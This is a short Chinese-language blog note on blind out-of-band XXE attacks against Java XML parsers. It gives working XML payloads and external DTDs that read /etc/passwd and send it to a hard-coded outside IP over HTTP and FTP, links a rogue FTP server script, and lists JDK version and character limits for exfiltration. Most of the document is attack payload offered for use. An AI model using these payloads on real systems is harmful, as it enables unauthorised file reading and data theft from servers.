java的xxe无回显的带外传输
xxe无回显的情况下,正常的读取无特殊符号文件的时候可以只用常规的file协议来进行读取
参考文章:https://www.leadroyal.cn/?p=914
参考文章:https://www.t00ls.net/viewthread.php?tid=55662
比如payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">
%xd;
]>
<root>&bbbb;</root>
引入的外部dtd内容为如下:
<!ENTITY % aaaa SYSTEM "file:///etc/passwd">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://120.79.66.58/xxe/1.php?file=%aaaa;'>">
%demo;
返回的内容:如果正常的内容是可以的,如果带有特殊符号的话 可以用http和ftp的带外传输方法
比如ftp的带外传输
payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">
%xd;
]>
<root>&bbbb;</root>
外部引入的dtd内容为如下:
<!ENTITY % aaaa SYSTEM "file:///home/etc/passwd">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'ftp://120.79.66.58:2121/%aaaa;'>">
%demo;
在读取的时候还需要架设一个本地的FTP服务器
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
没有深入的学习过java,这里只说自己遇到xxe无回显环境的坑
在使用ftp 进行 oob 时,对版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件
当FTP 遇到斜杠符号表示cd到子目录,什么意思呢?
'/' 当遇到该符号的时候,FTP读取返回的数据就会表示成 'CWD'
总结:
1、所有的【\r】 都会被替换为【\n】
2、如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件,所以这里通用的方法就是FTP来进行读取
3、版本限制是 <7u141 和 <8u162 才可以读取整个文件
4、如果含有特殊字符 【%】 【&】 会完全出错
5、如果含有特殊字符 【’】 【”】 可以稍微绕过
6、如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断
7、如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case
8、如果含有特殊字符【#】,会造成截断